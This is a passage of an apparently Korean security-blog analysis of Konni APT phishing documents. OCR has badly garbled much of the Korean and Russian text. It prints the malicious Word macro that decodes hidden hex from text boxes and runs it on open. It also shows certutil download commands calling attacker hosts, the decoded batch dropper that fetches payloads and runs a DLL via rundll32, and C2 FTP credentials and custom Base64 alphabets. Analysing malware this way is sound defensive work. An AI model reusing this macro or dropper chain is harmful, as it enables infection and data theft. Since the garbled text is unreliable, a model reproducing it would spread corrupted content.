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B pesrpe ssnncamen $opinea Suimm npobaesil cOBPEMSHHON COCTONHIN 1 MEPCMEKTHE

Aenyireaprmianan KHIP B aeprkaHo-cepepokopefic KX oTHOMEHARN, -

B xoge obcymaemnma Zammues npobies OTHETIMES OpONEILTNCE  OPOTHBOMOACHKHLIE
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OH32 TS ChS T 20| TAIE0f U, B TL| AlZ| =0 RAFSH A2 7F ZALE bl
RUELICE O] LI 2 Ol R 20| TaHEl RAH| D LHBS ET8H FAI7| HH2tLICh

"module: ThisDocument

Attribute VB_Name = "ThisDocument"

Attribute VB_Base = "1Normal. ThisDocument"

Attribute VB_GlobalNameSpace = False

Attribute VB_Creatable = False

Attribute VB_Predeclaredld = True

Attribute VB _Exposed = True

Attribute VB_TemplateDerived = True

Attribute VB_Customizable = True

Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Attribute VB_Control = "TextBox2, 1, 1, MSForms, TextBox"
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Attribute VB_Control = "TextBox3, 2, 2, MSForms, TextBox"

Public Function Hex2Chr(ByVal HexValue As String) As String

Fori =1 To Len(HexValue)

Num = Mid(HexValue, i, 2)

Value = Value & Chr(Val("&h" & Num))
i=i+1

Next i

Hex2Chr = Value

End Function

Private Sub Document_Open()

Dim nResult As Long

Dim sCmdLine As String

With ActiveDocument.Content

.Font.ColorIndex = wdBlack

End With

If (TextBox1.Text <> "") Then

sCmdLine = Environ("windir")

nResult = InStr(Application.Path, "x86")

If nResult <> 0 Then

sCmdLine = sCmdLine & Hex2Chr(TextBox1.Text)
Else

sCmdLine = sCmdLine & Hex2Chr(TextBox2.Text)
End If

sCmdLine = sCmdLine + Hex2Chr(TextBox3.Text)
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nResult = Shell(sCmdLine, vbHide)
TextBox1.Text =""

TextBox2.Text =""

TextBox3.Text ="
ActiveDocument.Save

End If

End Sub
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63 6F 70 79 20 2F TS 20 25 TT7T &9 €E €4 €% T2 25 copy /v Iwindirg
SC 73 79 73 74 &5 &D 33 32 5C &3 €5 72 74 75 74 tasystem3iZl\certut
69 &C 2ZE &5 78 €5 20 25 74 €5 &D 70 25 5C 6D 78 il.exe ¥tempiiimx
2E &5 78 65 20 26 26 20 &3 €4 20 2F &4 20 25 74 .exe £ cd /4 %t
65 &D 70 25 20 26 26 20 €D T3 20 2D 75 T2 &C 63 emp® £& mx -urlc
6l 63 68 &5 20 2D 73 70 &C €9 T4 20 2D e& 20 &8 | ache -split -f h
74 T4 TO 3R 2ZF 2F 68 €1 6E €4 €9 €3 €1 T0 2E &5 | ttp://handicap.e
TS 3% 2E &F 72 &7 2F 31 2E 74 78 74 20 2& 26 20| uS.org/l.txt &&
el 78 20 2D &4 &5 &3 &F €4 €5 20 2D 6& 20 31 2ZE mx -decode -f 1.
74 T8 T4 20 31 2E &2 &1 T4 20 26 26 20 €4 65 6C txt l.bat &£ del
20 2F 66 20 2F 71 20 31 2E T4 T8 T4 20 2& 26 20 JE /g l.txt &%
31 2E €2 61 74 1.bati}

[HEX & ¥Y] [AsCl R E FF)
[12! 5-1] HEX =2 ASCIl I = 2 &t0l5} 5}
O| ZEE ZAILE = HEISIH L2t 20| o3 20| 2fa H55= C2 M2t X[ ot HEH
S 2 2+ | "ok

copy /y %windir%\system32\certutil.exe %temp%\mx.exe && cd /d %temp% && mx -
urlcache -split -f http://handicap.eu5[.]Jorg/1.txt && mx -decode -f 1.txt 1.bat && del /f /q 1.txt
&& 1.bat

S4XI7F AFESHC2 M B &= 'handicap.eu5[.Jorg' =A0|09, "1.ixt' Tt S S22 10, "1.txt' opd
£ Base64 T EZ OIFEE[0] USL|CH

SHE Z=E= AlAHl HE20]| Exliot= AT 'certutil.exe' T Z UA|ZE (temp) Z 20|
'mx.exe' TUHO Z 2ALSH F "1.ixt' Base64 T =EE C|ZEHSHA ElL|C}.

1ot - HEE B H x
oep =HEE M 27w EE2Y

QGVjaGBgb2ZmDOoNCmImIGSvdCBleGlzdCANVBSTOAS QU1 GSUxFUyh4ODY pISIg
KAGKCWI141C1 1emxYWNoZSAtc3BsaXQgLwWyglmhOdHABLy9oYWSkaWNheCSldTUU
b3InLzludHhOliA+1G51 bACKCW ACTKZWNvZGUgLWY gMiS0eH Qg2 VOd X AUY 2Fi
IDdgbmysDOo)ZGWsICEmICaxIDIudHhoIDdgbnysDOoplGYsc2 UgKAOKCW 14111
cmxjYWMoZSAtc3BsaXQglWYgimhOdHABLY oY WSkaWMhcC3ldTUub3InLzMudHhO
lid+1G51bADKCWILICT KZWNvZGUgLWYgMy30eHQge2y0d X auyY 2FilDdgbnvsDiGo)
ZEVEICIMICIIDMudHh2ID4gbnvsDQopDQoMCmRIbCAVZIAVCSBteCSleGUGPIBU
dWwMCgOKaWygbma0IGV4aXMNOICIZZXR cCoYWIIChnb3RVIEVYSWVOpDQoNCmV4
cGFUZCBzZHRT cCS Y WIgLUYEKIAINWRFTVALIA+I1GS1 BADKZGVsICOmICxIHNI
dHVwLmMMNhYiA+1G51bAOKDCQoEQOhFQOHFQURN SUANCmSIdCBzZXNzaWauID4gbnys
DQppZIAlZXyb3)sZXZIbCUGZXF1IDAgKGdvdGEgQURNSU4pIGVsc2UgKGdvdGag
TkSOQURNSULpDQoMCjpBRETTgOKZGYSICOMICSxICIVEVNUCY chXMobHB3ZWIu
ZGxsliA+1G51 bACKINVURL QMNVxpbnNIYWxsLmIhdClgRiBudWwiCmdvdGEgRVh)
VAOKDQobTESCQURNSULNCNI 1 bmRsbDMyICIVEVMNUCY cbXMobHB3ZWIuZGxsliwg
RWS0cnlQb2ludCAINVRFTVAIXGIuc3RhbGwWUYmFOIgOKZ230by BFWEIUDQoMCpF
WEIUDQpkZWwgL2YgL3EgliV+ZHBueDAIID4gbnvs

----- EMND CERTIFICATE-----
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[112! 6] '1.txt' Base64 Q1 T 5HH

C| R 1 txt o}

2 b 8
T, 2.4t S.axt' ot S 25 E

@echo off

if not exist "%PROGRAMFILES(x86)%" (

mx -urlcache -split -f "http://handicap.eu[.]Jorg/2.txt" > nul
mx -decode -f 2.txt setup.cab > nul

del /f /q 2.txt > nul

) else (

mx -urlcache -split -f "http://handicap.eu[.]Jorg/3.txt" > nul
mx -decode -f 3.txt setup.cab > nul

del /f /q 3.txt > nul

)

del /f /g mx.exe > nul
if not exist "setup.cab" (goto EXIT)

expand setup.cab -F:* "% TEMP%" > nul

del /f /q setup.cab > nul

:CHECK_ADMIN
net session > nul

if %errorlevel% equ 0 (goto ADMIN) else (goto NONADMIN)
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:ADMIN
del /f /q "% TEMP%\mshlpweb.dll" > nul
"%TEMP%)\install.bat" > nul

goto EXIT

:NONADMIN
rundli32 "% TEMP%\mshipweb.dIl", EntryPoint "% TEMP%\install.bat"

goto EXIT

EXIT
del /f /q "%~dpnx0" > nul

"2.txt', '3.ixt' ot = 525t/ Base64 Ol T
= o

nte =z MY E 0, LR EXMSt= &S

7k} 32H| E, 64H|ER S 7|

or

o otd ATt ZetE 0] JEL T
http://handicap.eub[.Jorg/1.txt - BAT
http://handicap.eub[.]org/2.txt - 32bit
http://handicap.eu5[.]org/3.txt - 64bit

http://handicap.eub[.]Jorg/4.txt - C2

Y& otdo|H, 55315 72l =, 'setup.cab’ &I =
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4,

mE3Z U=37 #2237 U=E EHTHEW
[&]install.bat 1,100 1,100 0% 2019-07-12 PM 06:11:52
2] mshlpsrve.dil 9,216 9,216 0% 2019-07-12 PM 06:09:52
£=] mshlpsrve.ini 40 A0 0% 2019-07-12 PM 06:3%:14
2] mshlpweb.dil 3,584 3,584 0% 2019-07-12 PM 06:09:54
s U=37  #EFT Y=E EHITEW
[&]install.bat 1,100 1,100 0% 2019-07-12 PM 06:11:52
2] mshlpsrve.dil 10,240 10,240 0% 2019-07-12 PM 06:08:34
£] mshlpsrve.ini 40 40 0% 2019-07-12 PM 06:3%:14
2] mshlpweb.dll 3,584 3,584 0% 2019-07-12 PM 06:08:36
[O2! 7] Cab ¢=nt LHE 51X
'mshlpsrve.dil' Tt 2 UPX o 7 2 2f=0| /0 1204, 'mshlpsrvc.ini' It & C| F 25107
CHE C2 MHZ T2 oA gl
- http://handicap.eub[.Jorg/4.txt
Base64 C| A CIA| HAE O|0|E{ 2 H| w5HA| =lL|ct.
IFYE IEE C|ZYSt=H| A5 = 7| = Ct24a Z5Lict
- 'qaR4s0z2bJ8fxZMFwWUK%I7rLIQpucWkO0ED=hdGy31nXt5CiYATVojeB6gNH-PvSm'
"4 ixt' T A SUSHA 21 FEE| 0] Q20 Custom Base64 C|ZEA|, O] =0 2|5l FTP
A =5HA| ElL|C '4axt’ oY 2 S AKX 2| =0 2 o2 X2 HHE0| & = /U2
AEo| HF0o| & M= =

SEER-EE
o, ARl HEE A7 EEE AL LT

&2 FTP M A 0| ALEE[A

ftpupload[.]net

b8_ 24171239 | adfgvx
b7_24340052 | 123qweASDZXC
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&° handicap.eus.org/dixt X +
& C @ Z9 2% | handicap.eub.org/4.txt g

LY WLatueOh f GadWaal| =W3:=wY Z4qY ZkbZR=sTxBOBI | OXLOT | wYald

[Z2& 8] handicap M0 SFE[0] U= '4.txt' tH ST

= 44xt THUS 0|23 AFRAINZ HHEE Ho{E 8T 4 Qon], ke A|AHo|
= 27517 guict.

fAFSHd EA B[

ESRCE 0|218t 22 528 201911 012 212 &M ZHEl T L|(Konni) A|2| =0l M S 25t H} QU
Ehales

e & HS4m HZ Y MDS
8 % g
&t

geopol18.doc N/A  Windows 2019-01-21 68b080cdc748e9357e75a65fba30eaa7
igtaud.doc User 23:36:00
(UTC)

A HAE durd2 tiEa 22 StHE 20130, X MACHA 23 LE S 2{AI0IH 2
FL|Ct 2 242 "Tencent Security'0l|l M =718t HF U &L|C
Hermit (F&) JEBNER : RS TERGEE S ITRAPTIREESN

https://s.tencent.com/research/report/727 .html
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Popuamastoro okosranse. Ha cassos gege, sofima 31a me oxosriziace 30 cix nop. Owma
[MABHEIM COORTHEM B HCTOPHH 9eI0BedecEOl UHBHIHIAIEH H HENOHATHO, CMOMEM T
KOFIa-HHOYak o6 Bo e sapepmuts. Han oma csancpmsrms poex Hac. «

Bropas Mupoeas sataoiia [lepeyio H3-3a ropasio 0OMBIOETo BIAHMHOMD OMECTOS
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CHIA, pasvseerca, spamorca npemzeognodi o1 Espomms, mo mx mupoesie Boiin
nepenaxatd boaee Toro, Tomsxo ClIA eenmoe mobeIHTedes HE BCeX TpeX JABSPIIHED
pofin. [TooTosy 1 cyMeTn oMM HA HEKOTOPOS BPEME CTATH CIMHCTBCHHEIM MIPOBRIM MOTF
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" module: ThisDocument

Attribute VB_Name
Attribute
e VB 1] Nam:
e VB_Creatable
Attribute VB_P laredTd True
Attribute
Attribut

Attribute
Attribute

Num) )

If
r{Application

Then
sCmdLine

TextBoxl. Text
TextBox2.Text

End If

End Sub

O cMTyaUMK Ha Kopeiciom NonyocTRose W NERENEKTMBAX AMancra mesay CLA u KHAP.doc

[OE 10]o0f3 2 F = H| W $FHH

'geopol18.doc' ute = 'ObjectPool' AZ20i| Ctgat 22 C2 D=7} ZeHE|0] /2L, 0[H 'O
cutyaumm Ha Koperckom nomnyocTtpose 1 nepcnektnsax guanora mexagy CLUA n KHOP.doc'

DU HEX ZE2 sAX JUZR 5L et

Zrdo| E e, C27t =7

module: Th

Attribute

Attribute
Attri

Value - Value

5L

sCmdline
5(

End If

geopoll Edoc

oEE BHEE MAOQ E/ANM EEE
STEMPSowcu.exe &8 od /d SeTEMPS: 88 cu -urlcache -split -f

1.txt &% 1.batq 5
? ? E@? B

| contents - 0 2% — O *

|17 (1 @7 <H? 01 [ copy /¥ %windirstwSystem32icertutil.exe

http://clean.1apps.com/1 bt &8 cu -decode -f 1.4t 1.bat &8 del /f /g

[Z12! 11] 'content’ THUO| =74 ™ J=C2 T E §}

m}

—

Num ) }
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A AFEE C2 ME= L A2| =0 M AlE ALE El HE = "apps[.Jcom’ =0 210] ALE =
AL

- http://clean.1apps|[.Jcom/1.txt - BAT
- http://clean.1apps|[.Jcom/2.txt - 32bit
- http://clean.1apps|[.Jcom/3.txt - 64bit
- http://clean.1apps[.Jcom/4.ixt - C2

'geopol18.doc' TH0f| 2|5HA] HFOFX| = '2.txt!, '3.txt' THY = S2I5t7| CAB mé llo|od, Ly
H0f| = 'compvgk.dll', '‘compvgk.ini', ‘compwijd.dll', 'install.bat' S0| Z&t=[0{ ! SL|C}.

‘compvgk.dil' Tt & UPXZ THZ=|0f QU=C, L0 k23t 2 olmg 7|7+ Zate|of 9
B[

>

- 'HNhD1C2Z05r41e7LSqck38ROWONPpF=G6xjBUyulVXMz-TE/QmAVK9Y dftJigasWb'

=
SEEEL]

§9

fjo

HlWsH 2H, o2 20| 7[2H 0| &

— —

1 SYsitts HE U 4 AsLch
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loc_18862826 loc_18001421:
cmp [ebp+uar_18], 8 cmp [ebp+uar_18], @
jz short loc_10888282E jz short loc_ 10081429

cl, 48h cl, 48h
dl, cl dl, cl
short loc 10800282E j short loc_10881429

loc_1000202E: loc_18881429:

MOVZE edi, bl MoUzZx edi, bl

mow bl, byte 100B6OOO[edi] mou bl, byte_ 18068500808[edi]
MOUZEX edi, [ebp+uar_3] MOUEX edi [th+uar_ﬂ]

mowy [eax+esi], bl mou esi], bl

moy byte 10086 BRB[edi] mou

moy e [ebpruar B8] mov

mou ax+esi+1], bl

MOVZX ] dl

mow , byute 188686 B08[ edx ]
MOVZX
mov

BEB6888[ecx ) - butc 1GGGSEGG[PVH]
+esi+d], cl +3],

» [ebp+arg_u] ( [ebp+arg_X4]
oc_100881FB3 j1 loc_100813ARE

loc_18681FB3: X loc_188813AE :
now edx, [ebp+arg_0] mov edx, [ebp+arg_8]

sub_18881F9C endp sub_188681397 endp

mshlpsrve.dil compwgled!l
mshlpsrvcini -> httpy//handicap.eu5.org/4.tct compvgkini -> http://clean.1apps.com/4.tct

[2& 12] C[2E FE H[ w2 3tH

CIA| OI T 7|2 S5 4ixt' ACE 2Co 25512 £a5H=0|, 0|0 & S5 FTP AH
7t BH0| AFSSILIck Olnf ALl 15 i Hailung’ 21| L, ofLiof o] F3
=0 A EFO|H 2 LI = FH2IE{Ho|7| = Bhich,

'4 txt' I} 0j| = Custom Base64 C| L0 AFRE|= 7| ZEJFZSE|0| ey, FTP S XN
HE =2R5tD UBLIch

ftpupload[.]net

b9 23329410 | tailung
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T At - HEH — O hd

OEE BHEE MAO 2NV EsE
[DIgQFOn-PYCU4utyFHKwByGIBIvIBUKIkHehigxMNRm9PuFb

| decodetxt - HEE — O =

nEE BEE M40 2V ESE
ftpupload.net

b9 23329410

tailung

[2& 13] 22T E C2 =23 H| W 5tH

0lY7 SUSHAPT B £xj0| I DS HHSIHA RE SO HS HOIE 4 UL

C}.
m QEXOE ZAIE HE

20191 062 14, A7HE X HOA] HIO[HAERZ Y28 TL| WSO Al ELIC

HO|Z{AEERIH2E AA  MD5

619ac026 (web) c313a3aca90a614dd0offéce28c6ae2f0

Zt ok DOC 2AM0]| Z&H=l ASCIl ZES| AEZ H|0|E{E H| W& EH, DOC XM =2
Zeh 20| ot 2 FHY = USLITt

HAE 58 522 50 YEEEUS 7Hs40| o] 20|04, I FHHEE ZAtSt=H|
ME op7|eh = U0f I 2™ A 2[MXof ZtEet =27t Hed B LTt

A
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oo o2 Do o0 01 01 40 84 00 00 00 00 1B 43 30 2C | . B. .. @p.. ... HI.
B4 00 00 30 00 00 Q0 00 7F 00 Q0 00 7F 0O OO 00 | "..0....0...01...
63 6F 70 79 20 ZF 59 20 25 77 69 EE 64 69 72 2L | copy AV Hwindir®
5C 53 79 73 74 65 6D 33 32 5C 63 65 72 74 75 74 | ~SystemiZ-certut
69 6C 2E &5 78 &5 20 25 G54 45 4D 50 25 EC 63 75 | 1l .exe XTEMPX~cu
2E 65 78 65 20 26 26 20 63 B4 20 ZF 64 20 25 B4 | eme && cd od XT
45 4D 50 25 20 Z6 26 20 63 75 20 2D 75 Y2 6C 63 | EMPY && cu —urlc
61 63 68 65 20 2D 73 70 6C 69 74 20 2D 66 20 68 | ache —=split —f h
74 74 70 34 2F JF 63 6C 65 61 6E ZE 31 61 Y0 70 | ttp:~-sclean.lapp
73 2E 63 6F 6D 2F 31 ZE V4 78 Y4 20 26 26 20 63 | s comsl.tmEt &k o
75 20 2D 64 65 B3 BF 64 6L 20 2D 66 20 31 2E 74 | u —decode —f 1.t
78 74 20 31 2E 62 61 74 20 26 26 20 64 65 6C 20 | ®xt 1 .bat && del

2F 66 20 2F 71 20 31 2E 74 78 74 20 26 26 20 31 | sf g 1otmt A& 1
2E 62 B1 74 00 02 1C 00 35 00 00 00 0OA&A OO OO 0O | bat....5.. .. ...
FO 00 00 00 81 22 00 00 D1 B9 40 C7 20 00 E0 aC  &... " Hrag .a-
15 BS &D 00 00 00 00O 0O 0O 00 00 00 00 00 00 00 | .pm.............
63 00 6F 00 6E 00 74 00 65 00 6E 00 74 00 73 00 |c.on.t.en.t.=.

oo oo 0o 00 00 00 00 00 00 00 00 00 Qo0 00 Qo0 0o | ©...... L.
00 00 00 a0 a0 00 00 00 00 90 00 00 00 0o 9o a0 | ... ...,
oo oo 0o 00 00 00 00 00 00 00 00 00 Q0 00 Qo0 0o | ©..... ...
oo o2 Do 00 01 01 40 &84 00 00 00 00 1B 48 80 2C | . B. .. @p.. ... HI.
B4 00 00 280 00 00 00 00 7F OO0 00 00 JF 00 0O 0O “..p....0...01...
63 6F 70 79 20 ZF 59 20 25 77 69 EE 64 69 72 2L | copy -V Hwindir®
5C 53 79 73 74 65 6D 33 32 5C 63 65 Y2 74 Y75 74 | ~SystemdZcertut
69 6C 2E 65 78 65 20 25 G54 45 4D 50 25 EC 63 75 | 1l .eme XTEHPX~cu
2E 65 78 65 20 Z6 26 20 63 64 20 ZF 64 20 25 54 | eme &b cd od HT
45 4D 50 25 20 26 26 20 63 75 20 ZD 75 72 6C 63 | EMPX && cu —urlc
61 63 68 65 20 2D 73 70 &C 69 74 20 2D 66 20 68 | ache —=plit —f h
74 74 70 34 2F ZF 73 74 72 65 61 6D Z2E GE 73 68 | ttp:-ostream.nsh
62 2E 6E g5 74 ZF 31 ZE 74 78 74 20 26 26 20 63 | c.onetsl o tmEt L& c
75 20 2D 64 65 63 BF 64 6L 20 2D 66 20 31 2E 74 | u —decode —f 1.t
78 74 20 31 Z2E 62 61 74 20 26 26 20 64 65 BC 20 | =t 1 .bat && del

2F 66 20 2F 71 20 31 2ZE 74 78 74 20 26 26 20 31 | sf g 1otmt L& 1
2E 62 61 74 00 02 1C 00 35 00 00 00 04 0O OO0 00 | bat....5.. .. ...
FO 00 00 00 81 22 00 00 D1 B9 40 C7 20 00 E0 aC &... ", Hrag .a-
1t BS &D 00 00 00 00 00 00 00 00 00 00 00 00 00 | .pm.............
63 00 6F 00 6E 00 74 00 65 00 6E 00 74 00 73 00 |c.on.t.en.t.=s.
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> 2SSty LHE 9| Konni APT ZHH| 013} ' 12| 0| M SHE{ OFEL|A'(2019. 01. 02)
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https://blog.alyac.co.kr/2347
https://blog.alyac.co.kr/2061
https://blog.alyac.co.kr/1935
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https://blog.alyac.co.kr/2477?category=957259
https://blog.alyac.co.kr/2476?category=957259
https://blog.alyac.co.kr/2474?category=957259
https://blog.alyac.co.kr/2469?category=957259
https://blog.alyac.co.kr/2464?category=957259
https://blog.alyac.co.kr/2463?category=957259

